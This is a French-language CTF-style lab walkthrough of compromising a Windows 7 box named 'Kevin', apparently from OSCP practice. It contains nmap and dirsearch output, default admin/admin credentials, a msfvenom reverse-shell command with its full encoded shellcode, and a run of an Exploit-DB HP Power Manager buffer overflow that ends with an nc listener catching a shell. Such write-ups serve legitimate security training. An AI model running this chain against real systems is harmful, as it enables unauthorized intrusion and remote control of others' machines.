Windows - Kevin

jeudi 3 avril 2025 16:56

```
sudo nmap -p- -sV -sC  192.168.169.45 --open
[sudo] password for alice:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-03 15:59 CEST
Nmap scan report for 192.168.169.45
Host is up (0.055s latency).
Not shown: 63519 closed tcp ports (reset), 2004 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE      VERSION
80/tcp    open  http         GoAhead WebServer
|_http-server-header: GoAhead-Webs
| http-title: HP Power Manager
|_Requested resource was http://192.168.169.45/index.asp
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows 7 Ultimate N 7600 microsoft-ds (workgroup: WORKGROUP)
3389/tcp  open  tcpwrapped
| rdp-ntlm-info:
|   Target_Name: KEVIN
|   NetBIOS_Domain_Name: KEVIN
|   NetBIOS_Computer_Name: KEVIN
|   DNS_Domain_Name: kevin
|   DNS_Computer_Name: kevin
|   Product_Version: 6.1.7600
|_  System_Time: 2025-04-03T14:00:24+00:00
| ssl-cert: Subject: commonName=kevin
| Not valid before: 2025-04-02T13:53:44
|_Not valid after:  2025-10-02T13:53:44
|_ssl-date: 2025-04-03T14:00:39+00:00; +2s from scanner time.
3573/tcp  open  tag-ups-1?
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49158/tcp open  msrpc        Microsoft Windows RPC
49159/tcp open  msrpc        Microsoft Windows RPC
Service Info: Host: KEVIN; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_nbstat: NetBIOS name: KEVIN, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:9e:f5:c3
(VMware)
| smb2-security-mode:
|   2:1:0:
|_    Message signing enabled but not required
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-time:
|   date: 2025-04-03T14:00:24
|_  start_date: 2025-04-03T13:54:27
| smb-os-discovery:
|   OS: Windows 7 Ultimate N 7600 (Windows 7 Ultimate N 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::-
|   Computer name: kevin
|   NetBIOS computer name: KEVIN\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2025-04-03T07:00:24-07:00
|_clock-skew: mean: 1h24m02s, deviation: 3h07m50s, median: 1s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 97.45 seconds
```

```
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 114

Output File: /home/alice/Desktop/oscp/PG play/Windows/Kevin/reports/http_192.168.169.45/_2

Target: http://192.168.169.45/

[16:45:24] Starting:
[16:46:38] 200 -  209B  - /cgi-bin/
[16:46:38] 200 -  193B  - /cgi-bin
[16:46:38] 200 -  219B  - /cgi-bin/index.html
[16:46:38] 200 -  219B  - /cgi-bin/awstats.pl
[16:46:38] 200 -  227B  - /cgi-bin/a1stats/a1disp.cgi
[16:46:38] 200 -  225B  - /cgi-bin/imagemap.exe?2,2
[16:46:38] 200 -  217B  - /cgi-bin/awstats/
[16:46:38] 200 -  245B  - /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
[16:46:38] 200 -  224B  - /cgi-bin/htimage.exe?2,2
[16:46:38] 200 -  219B  - /cgi-bin/htmlscript
[16:46:38] 200 -  222B  - /cgi-bin/mt-xmlrpc.cgi
[16:46:38] 200 -  225B  - /cgi-bin/mt/mt-xmlrpc.cgi
[16:46:38] 200 -  214B  - /cgi-bin/login
[16:46:38] 200 -  226B  - /cgi-bin/mt7/mt-xmlrpc.cgi
[16:46:38] 200 -  218B  - /cgi-bin/login.php
[16:46:38] 200 -  215B  - /cgi-bin/mt.cgi
[16:46:38] 200 -  218B  - /cgi-bin/login.cgi
[16:46:38] 200 -  217B  - /cgi-bin/printenv
[16:46:38] 200 -  219B  - /cgi-bin/mt7/mt.cgi
[16:46:38] 200 -  218B  - /cgi-bin/mt/mt.cgi
[16:46:38] 200 -  216B  - /cgi-bin/php.ini
[16:46:38] 200 -  220B  - /cgi-bin/printenv.pl
[16:46:38] 200 -  217B  - /cgi-bin/test.cgi
[16:46:38] 200 -  217B  - /cgi-bin/test-cgi
[16:46:38] 200 -  220B  - /cgi-bin/ViewLog.asp
[16:46:38] 200 -  210B  - /cgi-bin2/
[16:46:43] 302 -  209B  - /contents  ->  http://192.168.169.45/contents/index.asp
```

Pour se connecter on a utilisé les id : admin admin

On a trouvé cette exploit :

https://www.exploit-db.com/exploits/10099

On doit changer le pylaod a l'intérieur avec msfvenom :

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.230 LPORT=4444 -f c -b "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x3d\x3b\x2d\x2c\x2e\x24\x25\x1a" -e x86/alpha_mixed

```
┌──(alice㉿kali)-[~/…/oscp/PG play/Windows/Kevin]
└─$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.230 LPORT=4444 -f c -b "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5
c\x3d\x3b\x2d\x2c\x2e\x24\x25\x1a" -e x86/alpha_mixed
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/alpha_mixed
x86/alpha_mixed succeeded with size 710 (iteration=0)
x86/alpha_mixed chosen with final size 710
Payload size: 710 bytes
Final size of c file: 3017 bytes
unsigned char buf[] =
"\x89\xe7\xda\xcf\xd9\x77\xf4\x5d\x55\x59\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51"
"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32"
"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41"
"\x42\x75\x4a\x49\x49\x6c\x4a\x48\x6b\x32\x73\x30\x47\x70"
"\x47\x70\x43\x50\x6d\x59\x39\x75\x35\x61\x79\x50\x61\x74"
"\x6e\x6b\x36\x30\x44\x70\x4e\x6b\x76\x32\x36\x6c\x6e\x6b"
"\x61\x42\x35\x44\x4e\x6b\x70\x72\x51\x38\x76\x6f\x4c\x77"
"\x71\x5a\x76\x46\x36\x51\x59\x6f\x4e\x4c\x45\x6c\x43\x51"
"\x53\x4c\x44\x42\x34\x6c\x75\x70\x49\x51\x7a\x6f\x64\x4d"
"\x75\x51\x38\x47\x39\x72\x6b\x42\x66\x32\x36\x37\x6e\x6b"
"\x63\x62\x52\x30\x6c\x4b\x50\x4a\x35\x6c\x4e\x6b\x62\x6c"
"\x77\x61\x61\x68\x6b\x53\x32\x68\x56\x61\x48\x51\x70\x51"
"\x6c\x4b\x76\x39\x51\x30\x36\x61\x68\x53\x6c\x4b\x57\x39"
"\x76\x78\x4a\x43\x35\x6a\x73\x79\x6e\x6b\x35\x64\x6c\x4b"
"\x47\x71\x38\x56\x64\x71\x4b\x4f\x6e\x4c\x4f\x31\x48\x4f"
"\x74\x4d\x55\x51\x7a\x67\x66\x58\x69\x70\x44\x35\x59\x66"
"\x66\x63\x61\x6d\x6a\x58\x47\x4b\x71\x6d\x66\x44\x70\x75"
"\x6a\x44\x36\x38\x4c\x4b\x73\x68\x56\x44\x75\x51\x38\x53"
"\x42\x46\x4c\x4b\x54\x4c\x30\x4b\x6c\x4b\x72\x78\x37\x6c"
"\x76\x61\x79\x43\x4e\x6b\x74\x44\x4c\x4b\x45\x51\x7a\x70"
"\x6f\x79\x77\x34\x35\x74\x66\x44\x71\x4b\x33\x6b\x50\x61"
"\x33\x69\x42\x7a\x32\x71\x79\x6f\x6d\x30\x31\x4f\x43\x6f"
"\x33\x6a\x6e\x6b\x32\x32\x48\x6b\x4c\x4d\x31\x4d\x52\x48"
"\x76\x53\x67\x42\x45\x50\x55\x50\x42\x48\x32\x57\x62\x53"
"\x54\x72\x53\x6f\x46\x34\x32\x48\x70\x4c\x72\x57\x61\x36"
"\x54\x47\x79\x6f\x58\x55\x6e\x58\x4c\x50\x43\x31\x65\x50"
"\x65\x50\x51\x39\x4b\x74\x71\x44\x70\x50\x45\x38\x36\x49"
"\x4d\x50\x42\x4b\x67\x70\x79\x6f\x79\x45\x42\x70\x42\x70"
"\x42\x70\x36\x30\x37\x30\x76\x30\x63\x70\x52\x70\x42\x48"
```

Et on le remplace dans l'exploit.
Ensuite on lance l'attaque et 45 ans plus tard on a le shell :

```
┌──(alice㉿kali)-[~/…/oscp/PG play/Windows/Kevin]
└─$ python2 10099.py 192.168.169.45
HP Power Manager Administration Universal Buffer Overflow Exploit
ryujin __A-T__ offensive-security.com
[+] Sending evil buffer...
HTTP/1.0 200 OK

[+] Done!
[*] Check your shell at 192.168.169.45:4444 , can take up to 1 min to spawn your shell
```

```
┌──(alice㉿kali)-[~/…/oscp/PG play/Windows/Kevin]
└─$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.45.230] from (UNKNOWN) [192.168.169.45] 49167
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>
```